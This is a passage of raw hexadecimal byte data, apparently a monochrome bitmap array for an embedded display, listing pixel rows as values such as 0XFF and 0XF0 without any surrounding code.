0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X7F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XE0, 0X03, 0XFF, 0X7F, 0XDF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFE, 0X3F, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFC, 0X1E, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XF8, 0X38, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X07, 0XF0, 0X70, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X3F, 0XC0, 0XC0, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0X81, 0X00, 0X00, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X3F, 0XFF, 0XC3, 0X83, 0XFF, 0XFB, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XFF, 0XFF, 0XEF, 0XC7, 0XFF, 0XF3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X1C, 0X7F, 0X80, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XF0, 0X1C, 0X60, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X07, 0XF0, 0X1C, 0X60, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X70, 0X07, 0XFF, 0X1C, 0X60, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0XE0, 0X03, 0X80, 0X1C, 0X63, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE0, 0X03, 0X80, 0X1C, 0X63, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE1, 0XC3, 0X80, 0X1C, 0X63, 0XFB, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XFF, 0X1C, 0X60, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE7, 0XF0, 0X1C, 0X60, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XC3, 0XC7, 0XF0, 0X1C, 0X60, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X0F, 0XF0, 0X1C, 0X7F, 0X87, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XC1, 0XFF, 0X87, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XFF, 0X01, 0XFF, 0XC1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XF8, 0X00, 0X3F, 0X81, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XC0, 0X00, 0X03, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0X80, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X3F, 0XC0, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC4, 0X3F, 0X00, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF3, 0XFF, 0XFF, 0XFC, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X7F, 0XFF, 0XFC, 0X00, 0X07, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X0F, 0XFF, 0XFC, 0X00, 0X3F, 0XC0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X01, 0XFF, 0XFC, 0X3F, 0XFF, 0XE3, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X3F, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFE, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X03, 0XC6, 0X07, 0XC7, 0XF1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XC6, 0X07, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XC6, 0X3C, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X03, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X1F, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X7F, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XFF, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X1F, 0XFF, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF7, 0XFF, 0XFF, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC6, 0X3F, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X7F, 0XC0, 0X00, 0X46, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X1F, 0XC0, 0X00, 0X46, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X00, 0X0F, 0XC0, 0X00, 0X46, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X07, 0XC0, 0X00, 0X46, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X07, 0XC6, 0X3F, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X63, 0X07, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE3, 0XC3, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XC3, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XC6, 0X24, 0XC6, 0X31, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XE3, 0XE3, 0XC6, 0X24, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XE3, 0XC6, 0X3C, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XE3, 0XC6, 0X07, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XE7, 0XC6, 0X07, 0XC0, 0X00, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XC7, 0XFE, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X83, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X0F, 0X87, 0XF8, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X07, 0XC3, 0XF8, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X07, 0XC3, 0XF8, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X03, 0XE3, 0XF8, 0X00, 0X00, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X03, 0XE3, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XC1, 0XE3, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE1, 0XE3, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE0, 0XC3, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE0, 0X03, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XF0, 0X07, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XF0, 0X07, 0XF8, 0X70, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XF8, 0X0F, 0X80, 0X00, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0X80, 0X00, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X00, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X80, 0X00, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X00, 0X03, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X00, 0X03, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X00, 0X03, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X00, 0X03, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X00, 0X03, 0XF8, 0X70, 0XE1, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFE, 0X3F, 0XFF, 0XF8, 0X00, 0X01, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X7F, 0XFF, 0XF8, 0X00, 0X01, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0XFF, 0XFF, 0XF8, 0X00, 0X01, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XF8, 0X00, 0X01, 0X81, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XF8, 0X00, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X7F, 0XFF, 0XFF, 0XFF, 0XFE, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFF, 0XFE, 0X0F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XFF, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC3, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC3, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC3, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X1F, 0XC3, 0XFC, 0X3F, 0XEF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X07, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X70, 0X07, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0XE0, 0X03, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE0, 0X03, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE1, 0XC3, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE3, 0XC3, 0XFC, 0X3F, 0XE1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF1, 0XE3, 0XE7, 0XC3, 0XFC, 0X3F, 0XC1, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0XC3, 0XC7, 0XC3, 0XE0, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X0F, 0XC3, 0XC0, 0X00, 0X01, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XC3, 0X80, 0X00, 0X03, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XC3, 0X80, 0X00, 0X07, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF8, 0X00, 0X03, 0XC3, 0X00, 0X00, 0X1F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFC, 0X00, 0X03, 0XC2, 0X04, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0X00, 0X03, 0XC2, 0X0C, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X1C, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X1C, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X3C, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XC0, 0X7C, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XC0, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XC0, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XC1, 0XFC, 0X3F, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XFF, 0XF0, 0X00, 0X03, 0XC3, 0XFC, 